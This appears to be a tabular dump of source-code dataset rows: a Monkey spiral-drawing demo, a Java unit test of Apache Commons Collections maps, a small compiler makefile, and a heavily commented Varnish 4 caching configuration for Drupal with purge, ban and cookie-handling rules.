content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
Import mojo
Function Main()
Local app := New MyApp
End
Class MyApp Extends App
Method OnCreate()
Local segment:Segment
segment = New Segment(20,460,255,0,0,Null)
Local flag := False
For Local count := 0 To 30
If flag = False
segment = New Segment(0,0,255,255,255,segment)
flag = True
Else
segment = New Segment(0,0,255,0,0,segment)
flag = False
End
Next
SetUpdateRate(60)
End
Method OnRender()
Cls(0,0,0)
For Local segment := Eachin Segment.root
segment.Render()
Next
Segment.rotation += 0.01
End
End
Class Segment
Global root := New List<Segment>
Global rotation := 0.0
Global counter := 1.0
Field parent:Segment
Field children := New List<Segment>
Field x:Float
Field y:Float
Field r:Int
Field g:Int
Field b:Int
Field multiplier := 1.0
Method New(x:Float,y:Float,r:Int,g:Int,b:Int,parent:Segment)
Self.x = x
Self.y = y
Self.r = r
Self.g = g
Self.b = b
Self.multiplier = Segment.counter
Segment.counter += 0.2
If parent
Self.parent = parent
parent.children.AddLast(Self)
Else
Segment.root.AddLast(Self)
Endif
End
Method Render()
SetColor(r,g,b)
DrawRect(x,y,30,10)
PushMatrix()
Translate(x+30,y)
Rotate(Segment.rotation*Self.multiplier)
For Local segment := Eachin children
segment.Render()
Next
PopMatrix()
End
End
| Monkey | 4 | blitz-research/monkey | bananas/skn3/spiralmatrix/spiralmatrix.monkey | [
"Zlib"
] |
package com.baeldung.apache.commons;
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.TimeUnit;
import org.apache.commons.collections4.BidiMap;
import org.apache.commons.collections4.MultiValuedMap;
import org.apache.commons.collections4.bidimap.DualHashBidiMap;
import org.apache.commons.collections4.bidimap.DualTreeBidiMap;
import org.apache.commons.collections4.bidimap.TreeBidiMap;
import org.apache.commons.collections4.map.MultiKeyMap;
import org.apache.commons.collections4.multimap.ArrayListValuedHashMap;
import org.junit.Test;
public class CollectionsUnitTest {
private final static BidiMap<Integer, String> daysOfWeek = new TreeBidiMap<Integer, String>();
private final static MultiValuedMap<String, String> groceryCart = new ArrayListValuedHashMap<>();
private final static MultiKeyMap<String, String> days = new MultiKeyMap<String, String>();
private final static MultiKeyMap<String, String> cityCoordinates = new MultiKeyMap<String, String>();
private long start;
static {
daysOfWeek.put(1, "Monday");
daysOfWeek.put(2, "Tuesday");
daysOfWeek.put(3, "Wednesday");
daysOfWeek.put(4, "Thursday");
daysOfWeek.put(5, "Friday");
daysOfWeek.put(6, "Saturday");
daysOfWeek.put(7, "Sunday");
groceryCart.put("Fruits", "Apple");
groceryCart.put("Fruits", "Grapes");
groceryCart.put("Fruits", "Strawberries");
groceryCart.put("Vegetables", "Spinach");
groceryCart.put("Vegetables", "Cabbage");
days.put("Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Weekday");
days.put("Saturday", "Sunday", "Weekend");
cityCoordinates.put("40.7128° N", "74.0060° W", "New York");
cityCoordinates.put("48.8566° N", "2.3522° E", "Paris");
cityCoordinates.put("19.0760° N", "72.8777° E", "Mumbai");
}
@Test
public void givenBidiMap_whenValue_thenKeyReturned() {
assertEquals(Integer.valueOf(7), daysOfWeek.inverseBidiMap()
.get("Sunday"));
}
@Test
public void givenBidiMap_whenKey_thenValueReturned() {
assertEquals("Tuesday", daysOfWeek.get(2));
}
@Test
public void givenMultiValuedMap_whenFruitsFetched_thenFruitsReturned() {
List<String> fruits = Arrays.asList("Apple", "Grapes", "Strawberries");
assertEquals(fruits, groceryCart.get("Fruits"));
}
@Test
public void givenMultiValuedMap_whenVeggiesFetched_thenVeggiesReturned() {
List<String> veggies = Arrays.asList("Spinach", "Cabbage");
assertEquals(veggies, groceryCart.get("Vegetables"));
}
@Test
public void givenMultiValuedMap_whenFuitsRemoved_thenVeggiesPreserved() {
assertEquals(5, groceryCart.size());
groceryCart.remove("Fruits");
assertEquals(2, groceryCart.size());
}
@Test
public void givenDaysMultiKeyMap_whenFetched_thenOK() {
assertFalse(days.get("Saturday", "Sunday")
.equals("Weekday"));
}
@Test
public void givenCoordinatesMultiKeyMap_whenQueried_thenOK() {
List<String> expectedLongitudes = Arrays.asList("72.8777° E", "2.3522° E", "74.0060° W");
List<String> longitudes = new ArrayList<>();
cityCoordinates.forEach((key, value) -> {
longitudes.add(key.getKey(1));
});
assertArrayEquals(expectedLongitudes.toArray(), longitudes.toArray());
List<String> expectedCities = Arrays.asList("Mumbai", "Paris", "New York");
List<String> cities = new ArrayList<>();
cityCoordinates.forEach((key, value) -> {
cities.add(value);
});
assertArrayEquals(expectedCities.toArray(), cities.toArray());
}
@Test
public void givenTreeBidiMap_whenHundredThousandKeys_thenPerformanceNoted() {
System.out.println("**TreeBidiMap**");
BidiMap<Integer, Integer> map = new TreeBidiMap<>();
start = System.nanoTime();
for (int i = 0; i < 100000; i++) {
Integer key = new Integer(i);
Integer value = new Integer(i + 1);
map.put(key, value);
}
System.out.println("Insertion time:" + TimeUnit.MILLISECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
start = System.nanoTime();
Integer value = (Integer) map.get(new Integer(500));
System.out.println("Value:" + value);
System.out.println("Fetch time key:" + TimeUnit.MICROSECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
start = System.nanoTime();
Integer key = (Integer) map.getKey(new Integer(501));
System.out.println("Key:" + key);
System.out.println("Fetch time value:" + TimeUnit.MICROSECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
}
@Test
public void givenDualTreeBidiMap_whenHundredThousandKeys_thenPerformanceNoted() {
System.out.println("**DualTreeBidiMap**");
BidiMap<Integer, Integer> map = new DualTreeBidiMap<>();
start = System.nanoTime();
for (int i = 0; i < 100000; i++) {
Integer key = new Integer(i);
Integer value = new Integer(i + 1);
map.put(key, value);
}
System.out.println("Insertion time:" + TimeUnit.MILLISECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
start = System.nanoTime();
Integer value = (Integer) map.get(new Integer(500));
System.out.println("Value:" + value);
System.out.println("Fetch time key:" + TimeUnit.MICROSECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
start = System.nanoTime();
Integer key = (Integer) map.getKey(new Integer(501));
System.out.println("Key:" + key);
System.out.println("Fetch time value:" + TimeUnit.MICROSECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
}
@Test
public void givenDualHashBidiMap_whenHundredThousandKeys_thenPerformanceNoted() {
System.out.println("**DualHashBidiMap**");
BidiMap<Integer, Integer> map = new DualHashBidiMap<>();
start = System.nanoTime();
for (int i = 0; i < 100000; i++) {
Integer key = new Integer(i);
Integer value = new Integer(i + 1);
map.put(key, value);
}
System.out.println("Insertion time:" + TimeUnit.MILLISECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
start = System.nanoTime();
Integer value = (Integer) map.get(new Integer(500));
System.out.println("Value:" + value);
System.out.println("Fetch time key:" + TimeUnit.MICROSECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
start = System.nanoTime();
Integer key = (Integer) map.getKey(new Integer(501));
System.out.println("Key:" + key);
System.out.println("Fetch time value:" + TimeUnit.MICROSECONDS.convert(System.nanoTime() - start, TimeUnit.NANOSECONDS));
}
} | Java | 5 | DBatOWL/tutorials | libraries-6/src/test/java/com/baeldung/apache/commons/CollectionsUnitTest.java | [
"MIT"
] |
CXX=icl
CXXOPTS=/Ox /GX /GR -Wall -Qwd383,981,193 -c $(INCLUDES) -I$(TUT) -DTUT_USE_SEH /Fo
LNK=link
LNKOPTS=/link $(LIBS) /OUT:
SFX=_icl.exe
OFX=_icl.obj
RM=del
| Clean | 3 | wohaaitinciu/zpublic | 3rdparty/tut/Makefile.icl | [
"Unlicense"
] |
/*
* Varnish 4 example config for Drupal 7 & 8 / Pressflow 6 & 7
*/
# Original source: https://github.com/NITEMAN/varnish-bites/varnish4/drupal-base.vcl
# Copyright (c) 2015 Pedro González Serrano and individual contributors.
# MIT License
# Intended to be used both in simple production environments and with
# learning/teaching purposes.
# Some references may not be yet updated to VCL 4.0, we use SeeV3 then.
# WARNING:
# Note that the built-in logic will be appended to our code if no return is
# performed before.
# Built-in logic is included commented out right after our's for reference
# purposes in that cases.
# See https://www.varnish-cache.org/trac/wiki/VCLExampleDefault
#######################################################################
# Initialization: Version & imports;
/* Version statement */
# Since Varnish 4.0 it's mandatory to declare VCL version on first line.
vcl 4.0;
/* Module (VMOD) imports */
# Standard module
# See https://www.varnish-cache.org/docs/4.0/reference/vmod_std.generated.html
import std;
# Directors module
# See https://www.varnish-cache.org/docs/4.0/reference/vmod_directors.generated.html
# Unused in simple configs.
#import directors;
#######################################################################
# Probe, backend, ACL and subroutine definitions
/* Backend probes / healthchecks */
# See https://www.varnish-cache.org/docs/4.0/reference/vcl.html#probes
probe basic {
/* Only test that backend's IP serves content for '/' */
# This might be a too heavy probe
# .url = "/";
/* Only test that backend's IP has apache working */
# Nginx would fail this probe with a default config
.request =
"OPTIONS * HTTP/1.1"
"Host: *"
"Connection: close";
/* Common options */
.interval = 10s;
.timeout = 2s;
.window = 8;
.threshold = 6;
}
/* Backend definitions.*/
# See https://www.varnish-cache.org/docs/4.0/reference/vcl.html#backend-definition
backend default {
/* Default backend on the same machine. */
# WARNING: timeouts could be not big enought for certain POST requests.
.host = "127.0.0.1";
.port = "8008";
.max_connections = 100;
.connect_timeout = 60s;
.first_byte_timeout = 60s;
.between_bytes_timeout = 60s;
.probe = basic;
}
/* Access Control Lists */
# See https://www.varnish-cache.org/docs/4.0/reference/vcl.html#access-control-list-acl
acl purge_ban {
/* Simple access control list for allowing item purge for the self machine */
"127.0.0.1"/32; // We can use '"localhost";' instead
}
acl allowed_monitors {
/* Simple access control list for allowing item purge for the self machine */
"127.0.0.1"/32; // We can use'"localhost";' instead
}
# acl own_proxys {
# "127.0.0.1"/32; // We can use'"localhost";' instead
# }
/* Custom subroutines */
# See https://www.varnish-cache.org/docs/4.0/reference/vcl.html#subroutines
#TODO# Test in Varnihs 4
# Empty in simple configs.
# The only restriction naming subs is that the 'vlc_' prefix is reserverd for
# Varnish use. As a task can need several chunks of code in diferent states,
# it's a good idea to identify what main sub will call each with a suffix.
# /* Example 301 client redirection removing "www" prefix from request */
# sub perm_redirections_recv {
# if ( req.http.host ~ "^www.*$" ) {
# return (
# synth(751, "http://" + regsub(req.http.host, "^www\.", "") + req.url)
# );
# }
# }
# sub perm_redirections_synth {
# if ( resp.status == 751 ) {
# /* Get new URL from the response */
# set resp.http.Location = resp.reason;
# /* Set HTTP 301 for permanent redirect */
# set resp.status = 301;
# set resp.reason = "Moved Permanently";
# return (deliver);
# }
# }
#######################################################################
# Client side
# vcl_recv: Called at the beginning of a request, after the complete request
# has been received and parsed. Its purpose is to decide whether or not to
# serve the request, how to do it, and, if applicable, which backend to use.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-recv
sub vcl_recv {
/* 0th: general bypass, general return & authorization checks */
# Empty in simple configs.
# Useful for debugging we can pipe or pass the request to default backend
# here to bypass completely Varnish.
# return (pipe);
# return (pass);
# We can also return here a 200 Ok for network performance benchmarking.
# return (synth(200, "Ok"));
# Finally we can perform basic HTTP authentification here, by example.
# SeeV3 http://blog.tenya.me/blog/2011/12/14/varnish-http-authentication/
/* 1st: Check for Varnish special requests */
# Custom response implementation example in order to check that Varnish is
# working properly.
# This is usefull for automatic monitoring with monit or when Varnish is
# behind another proxies like HAProxy.
if ( ( req.http.host == "monitor.server.health"
|| req.http.host == "health.varnish" )
&& client.ip ~ allowed_monitors
&& ( req.method == "OPTIONS" || req.method == "GET" )
) {
return (synth(200, "OK"));
}
# Purge logic
# See https://www.varnish-cache.org/docs/4.0/users-guide/purging.html#http-purging
# SeeV3 https://www.varnish-software.com/static/book/Cache_invalidation.html#removing-a-single-object
if ( req.method == "PURGE" ) {
if ( client.ip !~ purge_ban ) {
return (synth(405, "Not allowed."));
}
return (purge);
}
# Ban logic
# See https://www.varnish-cache.org/docs/4.0/users-guide/purging.html#bans
if ( req.method == "BAN" ) {
if ( client.ip !~ purge_ban ) {
return (synth(405, "Not allowed."));
}
if (req.http.Purge-Cache-Tags) {
ban( "obj.http.X-Host == " + req.http.host +
" && obj.http.Purge-Cache-Tags ~ " + req.http.Purge-Cache-Tags
);
}
else {
# Assumes req.url is a regex. This might be a bit too simple
ban( "obj.http.X-Host == " + req.http.host +
" && obj.http.X-Url ~ " + req.url
);
}
return (synth(200, "Ban added"));
}
/* 2nd: Do some Varnish black magic such as custom client redirections */
# Empty in simple configs.
# call perm_redirections_recv;
# Here we can also enforce SSL when Varnish run behind some SSL termination
# point.
/* 3rd: Time for backend choice */
# Empty in simple configs.
/* 4th: Prepare request for the backend */
# Empty in simple configs.
# Example remove own_proxys from X-Forwarded-For
# See https://www.varnish-cache.org/docs/4.0/whats-new/upgrading.html#x-forwarded-for-is-now-set-before-vcl-recv
# Varnish 4 regsub doesn't accept anything but plain regexp, so we can't use
# client.ip to exclude the proxy ips from the request:
# set req.http.X-Forwarded-For
# = regsub(req.http.X-Forwarded-For, ",( )?" + client.ip, "");
# Instead, we need to add the proxy ips manually in the exclude list:
# if ( req.restarts == 0
# && client.ip ~ own_proxys
# && req.http.X-Forwarded-For
# ) {
# set req.http.X-Forwarded-For
# = regsub(req.http.X-Forwarded-For,
# "(, )?(10\.10\.10\.10|10\.11\.11\.11)", "");
# }
# An alternative could be to skip all this and try to modify the header
# manually so Varnish doesn't touch it.
# set req.http.X-Forwarded-For = req.http.X-Forwarded-For + "";
#
# Example normalize the host header, remove the port (in case you're testing
# this on various TCP ports)
# set req.http.Host = regsub(req.http.Host, ":[0-9]+", "");
/* 5th: Bypass breakpoint 1 */
# Useful for debugging we can now pipe or pass the request to backend with
# headers setted.
# return (pipe);
# return (pass);
/* 6th: Decide if we should deal with a request (mostly from built-in logic) */
if ( req.method == "PRI" ) {
/* We do not support SPDY or HTTP/2.0 */
return (synth(405));
}
if ( req.method != "GET"
&& req.method != "HEAD"
&& req.method != "PUT"
&& req.method != "POST"
&& req.method != "TRACE"
&& req.method != "OPTIONS"
&& req.method != "DELETE"
) {
/* Non-RFC2616 or CONNECT which is weird. */
return (pipe);
}
if ( req.method != "GET"
&& req.method != "HEAD"
) {
/* We only deal with GET and HEAD by default */
return (pass);
}
if ( req.http.Authorization ) {
/* Not cacheable by default */
return (pass);
}
# Websocket support
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-example-websockets.html
if ( req.http.Upgrade ~ "(?i)websocket" ) {
return (pipe);
}
/* 7th: Access control for some URLs by ACL */
# Empty in simple configs.
# By example denial some URLs depending on client-ip, we'll need to define
# corresponding ACL 'internal'.
# if ( req.url ~ "^/(cron|install)\.php"
# && client.ip !~ internal
# ) {
# # Have Varnish throw the error directly.
# return (synth(403, "Forbidden."));
# # Use a custom error page that you've defined in Drupal at the path "404".
# # set req.url = "/403";
# }
/* 8th: Custom exceptions */
# Host exception example:
# if ( req.http.host == "ejemplo.exception.com" ) {
# return (pass);
# }
# Drupal exceptions, edit if we want to cache some AJAX/AHAH request.
# Add here filters for never cache URLs such as Payment Gateway's callbacks.
if ( req.url ~ "^/status\.php$"
|| req.url ~ "^/update\.php$"
|| req.url ~ "^/ooyala/ping$"
|| req.url ~ "^/admin/build/features"
|| req.url ~ "^/info/.*$"
|| req.url ~ "^/flag/.*$"
|| req.url ~ "^.*/ajax/.*$"
|| req.url ~ "^.*/ahah/.*$"
) {
/* Do not cache these paths */
return (pass);
}
# Pipe these paths directly to backend for streaming.
if ( req.url ~ "^/admin/content/backup_migrate/export"
|| req.url ~ "^/admin/config/system/backup_migrate"
) {
return (pipe);
}
if ( req.url ~ "^/system/files" ) {
return (pipe);
}
/* 9th: Graced objets & Serve from anonymous cahe if all backends are down */
# See https://www.varnish-software.com/blog/grace-varnish-4-stale-while-revalidate-semantics-varnish
# set req.http.X-Varnish-Grace = "none";
if ( ! std.healthy(req.backend_hint) ) {
# We must do this here since cookie hashing
unset req.http.Cookie;
#TODO# Add sick marker
}
/* 10th: Deal with compression and the Accept-Encoding header */
# Althought Varnish 4 handles gziped content itself by default, just to be
# sure we want to remove Accept-Encoding for some compressed formats.
# See https://www.varnish-cache.org/docs/4.0/phk/gzip.html#what-does-http-gzip-support-do
# See https://www.varnish-cache.org/docs/4.0/users-guide/compression.html
# See https://www.varnish-cache.org/docs/4.0/reference/varnishd.html?highlight=http_gzip_support
# See (for older configs) https://www.varnish-cache.org/trac/wiki/VCLExampleNormalizeAcceptEncoding
if ( req.http.Accept-Encoding ) {
if ( req.url ~ "(?i)\.(7z|avi|bz2|flv|gif|gz|jpe?g|mpe?g|mk[av]|mov|mp[34]|og[gm]|pdf|png|rar|swf|tar|tbz|tgz|woff2?|zip|xz)(\?.*)?$"
) {
/* Already compressed formats, no sense trying to compress again */
unset req.http.Accept-Encoding;
}
}
/* 11th: Further request manipulation */
# Empty in simple configs.
# We could add here a custom header grouping User-agent families.
# Generic URL manipulation.
# Remove Google Analytics added parameters, useless for our backends.
if ( req.url ~ "(\?|&)(utm_source|utm_medium|utm_campaign|utm_content|gclid|cx|ie|cof|siteurl)=" ) {
set req.url = regsuball(req.url, "&(utm_source|utm_medium|utm_campaign|utm_content|gclid|cx|ie|cof|siteurl)=([A-z0-9_\-\.%25]+)", "");
set req.url = regsuball(req.url, "\?(utm_source|utm_medium|utm_campaign|utm_content|gclid|cx|ie|cof|siteurl)=([A-z0-9_\-\.%25]+)", "?");
set req.url = regsub(req.url, "\?&", "?");
set req.url = regsub(req.url, "\?$", "");
}
# Strip anchors, server doesn't need it.
if ( req.url ~ "\#" ) {
set req.url = regsub(req.url, "\#.*$", "");
}
# Strip a trailing ? if it exists
if ( req.url ~ "\?$" ) {
set req.url = regsub(req.url, "\?$", "");
}
# Normalize the querystring arguments
set req.url = std.querysort(req.url);
/* 12th: Cookie removal */
# Always cache the following static file types for all users.
# Use with care if we control certain downloads depending on cookies.
# Be carefull also if appending .htm[l] via Drupal's clean URLs.
if ( req.url ~ "(?i)\.(bz2|css|eot|gif|gz|html?|ico|jpe?g|js|mp3|ogg|otf|pdf|png|rar|svg|swf|tbz|tgz|ttf|woff2?|zip)(\?(itok=)?[a-z0-9_=\.\-]+)?$"
&& req.url !~ "/system/storage/serve"
) {
unset req.http.Cookie;
}
# Remove all cookies that backend doesn't need to know about.
# See https://www.varnish-cache.org/trac/wiki/VCLExampleRemovingSomeCookies
if ( req.http.Cookie ) {
/* Warning: Not a pretty solution */
# Prefix header containing cookies with ';'
set req.http.Cookie = ";" + req.http.Cookie;
# Remove any spaces after ';' in header containing cookies
set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
# Prefix cookies we want to preserve with one space:
# 'S{1,2}ESS[a-z0-9]+' is the regular expression matching a Drupal session
# cookie ({1,2} added for HTTPS support).
# 'NO_CACHE' is usually set after a POST request to make sure issuing user
# see the results of his post.
# 'OATMEAL' & 'CHOCOLATECHIP' are special cookies used by Drupal's Bakery
# module to provide Single Sign On.
# Keep in mind we should add here any cookie that should reach the backend
# such as splash avoiding cookies.
set req.http.Cookie
= regsuball(
req.http.Cookie,
";(S{1,2}ESS[a-z0-9]+|NO_CACHE|OATMEAL|CHOCOLATECHIP|big_pipe_nojs)=",
"; \1="
);
# Remove from the header any single Cookie not prefixed with a space until
# next ';' separator.
set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
# Remove any '; ' at the start or the end of the header.
set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
#If there are no remaining cookies, remove the cookie header.
if ( req.http.Cookie == "" ) {
unset req.http.Cookie;
}
}
/* 13th: Session cookie & special cookies bypass caching stage */
# As we might want to cache some requests, hashed with its cookies, we don't
# simply pass when some cookies remain present at this point.
# Instead we look for request that must be passed due to the cookie header.
if ( req.http.Cookie ~ "SESS"
|| req.http.Cookie ~ "SSESS"
|| req.http.Cookie ~ "NO_CACHE"
|| req.http.Cookie ~ "OATMEAL"
|| req.http.Cookie ~ "CHOCOLATECHIP"
) {
return (pass);
}
/* 14th: Announce ESI Support */
# Empty in simple configs.
# See https://www.varnish-cache.org/docs/4.0/users-guide/esi.html
# Note that ESI included requests inherits its parent's modified request, so
# depending on the case you will end playing with req.esi_level to know
# current depth.
# Send Surrogate-Capability headers
# See http://www.w3.org/TR/edge-arch
# Note that myproxyname is an identifier that should avoid collitions
# set req.http.Surrogate-Capability = "myproxyname=ESI/1.0";
/* 15th: Bypass breakpoint 2 */
# Useful for debugging we can now pipe or pass the request to backend to
# bypass cache.
# return (pipe);
# return (pass);
/* 16th: Bypass built-in logic */
# We make sure no built-in logic is processed after ours returning
# inconditionally.
return (hash);
}
# vcl_pipe: Called upon entering pipe mode.
# In this mode, the request is passed on to the backend, and any further data
# from either client or backend is passed on unaltered until either end closes
# the connection.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-pipe
sub vcl_pipe {
# Websocket support
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-example-websockets.html
if ( req.http.upgrade ) {
set bereq.http.upgrade = req.http.upgrade;
}
}
# sub vcl_pipe {
# # By default Connection: close is set on all piped requests, to stop
# # connection reuse from sending future requests directly to the
# # (potentially) wrong backend. If you do want this to happen, you can undo
# # it here.
# # unset bereq.http.connection;
# return (pipe);
# }
# vcl_pass: Called upon entering pass mode.
# In this mode, the request is passed on to the backend, and the backend's
# response is passed on to the client, but is not entered into the cache.
# Subsequent requests submitted over the same client connection are handled normally.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-pass
# sub vcl_pass {
# return (fetch);
# }
# vcl_hash: You may call hash_data() on the data you would like to add to the
# hash.
# Hash is used by Varnish to uniquely identify objects.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-hash
sub vcl_hash {
/* Hash cookie data */
# As requests with same URL and host can produce diferent results when issued
# with different cookies, we need to store items hashed with the associated
# cookies. Note that cookies are already sanitized when we reach this point.
if ( req.http.Cookie ) {
/* Include cookie in cache hash */
hash_data(req.http.Cookie);
}
/* Custom header hashing */
# Empty in simple configs.
# Example for caching differents object versions by device previously
# detected (when static content could also vary):
# if ( req.http.X-UA-Device ) {
# hash_data(req.http.X-UA-Device);
# }
# Example for caching diferent object versions by X-Forwarded-Proto, trying
# to be smart about what kind of request could generate diffetent responses.
if ( req.http.X-Forwarded-Proto
&& req.url !~ "(?i)\.(bz2|css|eot|gif|gz|html?|ico|jpe?g|js|mp3|ogg|otf|pdf|png|rar|svg|swf|tbz|tgz|ttf|woff2?|zip)(\?(itok=)?[a-z0-9_=\.\-]+)?$"
) {
hash_data(req.http.X-Forwarded-Proto);
}
/* Continue with built-in logic */
# We want built-in logic to be processed after ours so we don't call return.
}
# sub vcl_hash {
# hash_data(req.url);
# if (req.http.host) {
# hash_data(req.http.host);
# } else {
# hash_data(server.ip);
# }
# return (lookup);
# }
# vcl_purge: Called after the purge has been executed and all its variants have
# been evited.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-purge
# sub vcl_purge {
# return (synth(200, "Purged"));
# }
# vcl_hit: Called after a cache lookup if the requested document was found in
# the cache.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-hit
sub vcl_hit {
if ( obj.ttl >= 0s ) {
// A pure unadultered hit, deliver it
return (deliver);
}
/* Allow varnish to serve up stale content if it is responding slowly */
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-grace.html
# See https://www.varnish-software.com/blog/grace-varnish-4-stale-while-revalidate-semantics-varnish
if ( obj.ttl + 60s > 0s ) {
// Object is in grace, deliver it
// Automatically triggers a background fetch
set req.http.X-Varnish-Grace = "normal";
return (deliver);
}
/* Allow varish to serve up stale content if all backends are down */
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-grace.html
# See https://www.varnish-software.com/blog/grace-varnish-4-stale-while-revalidate-semantics-varnish
if ( ! std.healthy(req.backend_hint)
&& obj.ttl + obj.grace > 0s
) {
// Object is in grace, deliver it
// Automatically triggers a background fetch
set req.http.X-Varnish-Grace = "extended";
return (deliver);
}
/* Bypass built-in logic */
# We make sure no built-in logic is processed after ours returning
# inconditionally.
// fetch & deliver once we get the result
return (fetch);
}
# vcl_miss: Called after a cache lookup if the requested document was not found
# in the cache.
# Its purpose is to decide whether or not to attempt to retrieve the document
# from the backend, and which backend to use.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-miss
# sub vcl_miss {
# return (fetch);
# }
# vcl_deliver: Called before an object is delivered to the client
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-deliver
sub vcl_deliver {
/* Ban lurker friendly bans support */
# See https://www.varnish-cache.org/docs/4.0/users-guide/purging.html#bans
unset resp.http.X-Host;
unset resp.http.X-Url;
/* Drupal 8 Purge's module header cleanup */
# Purge's headers can become quite big, causing issues in upstream proxies, so we clean it here
unset resp.http.Purge-Cache-Tags;
/* Debugging headers */
# Please consider the risks of showing publicly this information, we can wrap
# this with an ACL.
# Add whether the object is a cache hit or miss and the number of hits for
# the object.
# SeeV3 https://www.varnish-cache.org/trac/wiki/VCLExampleHitMissHeader#Addingaheaderindicatinghitmiss
# In Varnish 4 the obj.hits counter behaviour has changed (see bug 1492), so
# we use a different method: if X-Varnish contains only 1 id, we have a miss,
# if it contains more (and therefore a space), we have a hit.
if ( resp.http.X-Varnish ~ " " ) {
set resp.http.X-Varnish-Cache = "HIT";
# Since in Varnish 4 the behaviour of obj.hits changed, this might not be
# accurate.
# See https://www.varnish-cache.org/trac/ticket/1492
set resp.http.X-Varnish-Cache-Hits = obj.hits;
} else {
set resp.http.X-Varnish-Cache = "MISS";
/* Show the results of cookie sanitization */
if ( req.http.Cookie ) {
set resp.http.X-Varnish-Cookie = req.http.Cookie;
}
}
# See https://www.varnish-software.com/blog/grace-varnish-4-stale-while-revalidate-semantics-varnish
if ( req.http.X-Varnish-Grace ) {
set resp.http.X-Varnish-Grace = req.http.X-Varnish-Grace;
}
#TODO# Add sick marker
# Restart count
if ( req.restarts > 0 ) {
set resp.http.X-Varnish-Restarts = req.restarts;
}
# Add the Varnish server hostname
set resp.http.X-Varnish-Server = server.hostname;
# If we have setted a custom header with device's family detected we can show
# it:
# if ( req.http.X-UA-Device ) {
# set resp.http.X-UA-Device = req.http.X-UA-Device;
# }
# If we have recived a custom header indicating the protocol in the request we
# can show it:
# if ( req.http.X-Forwarded-Proto ) {
# set resp.http.X-Forwarded-Proto = req.http.X-Forwarded-Proto;
# }
/* Vary header manipulation */
# Empty in simple configs.
# By example, if we are storing & serving diferent objects depending on
# User-Agent header we must set the correct Vary header:
# if ( resp.http.Vary ) {
# set resp.http.Vary = resp.http.Vary + ",User-Agent";
# } else {
# set resp.http.Vary = "User-Agent";
# }
/* Fake headers */
# Empty in simple configs
# We can fake server headers here, by example:
# set resp.http.Server = "Deep thought";
# set resp.http.X-Powered-By = "BOFH";
# Or have some fun with headers:
# See http://www.nextthing.org/archives/2005/08/07/fun-with-http-headers
# See http://royal.pingdom.com/2012/08/15/fun-and-unusual-http-response-headers/
# set resp.http.X-Thank-You = "for bothering to look at my HTTP headers";
# set resp.http.X-Answer = "42";
/* Continue with built-in logic */
# We want built-in logic to be processed after ours so we don't call return.
}
# sub vcl_deliver {
# return (deliver);
# }
# vcl_synth: Called to deliver a synthetic object. A synthetic object is
# generated in VCL, not fetched from the backend. It is typically contructed
# using the synthetic() function.
# See https://www.varnish-cache.org/docs/4.0/users-guide/vcl-built-in-subs.html#vcl-synth
/*
* We can come here "invisibly" with the following errors: 413, 417 & 503
*/
sub vcl_synth {
/* Do some Varnish black magic such as custom client redirections */
# Empty in simple configs.
# call perm_redirections_synth;
/* Try to restart request in case of failure */
# Note that max_restarts defaults to 4
# SeeV3 https://www.varnish-cache.org/trac/wiki/VCLExampleRestarts
if ( resp.status == 503
&& req.restarts < 4
) {
return (restart);
}
/* Set common headers for synthetic responses */
set resp.http.Content-Type = "text/html; charset=utf-8";
/* HTTP Authentification client request */
# Empty in simple configs.
# SeeV3 http://blog.tenya.me/blog/2011/12/14/varnish-http-authentication/
/* Load synthetic responses from disk */
# Note that files loaded this way are never re-readed (even after a reload).
# You should consider PROS/CONS of doing an include instead.
# See https://www.varnish-cache.org/docs/4.0/reference/vmod_std.generated.html#func-fileread
# Example custom 403 error page.
# if ( resp.status == 403 ) {
# synthetic(std.fileread("/403.html"));
# return (deliver);
# }
/* Error page & refresh / redirections */
# We have plenty of choices when we have to serve an error to the client,
# from the default error page to javascript black magic or plain redirections.
# Adding some external statistic javascript to track failures served to
# clients is strongly suggested.
# We can't use external resources on synthetic content, everything must be
# inlined.
# If we need to include images we can embed them in base64 encoding.
# We're using error 200 for monitoring puposes which should not be retried
# client side.
if ( resp.status != 200 ) {
set resp.http.Retry-After = "5";
}
# Here is the default error page for Varnish 4 (not so pretty)
synthetic( {"<!DOCTYPE html>
<html>
<head>
<title>"} + resp.status + " " + resp.reason + {"</title>
</head>
<body>
<h1>Error "} + resp.status + " " + resp.reason + {"</h1>
<p>"} + resp.reason + {"</p>
<h3>Guru Meditation:</h3>
<p>XID: "} + req.xid + {"</p>
<hr>
<p>Varnish cache server</p>
</body>
</html>
"} );
/* Bypass built-in logic */
# We make sure no built-in logic is processed after ours returning
# inconditionally.
return (deliver);
}
#######################################################################
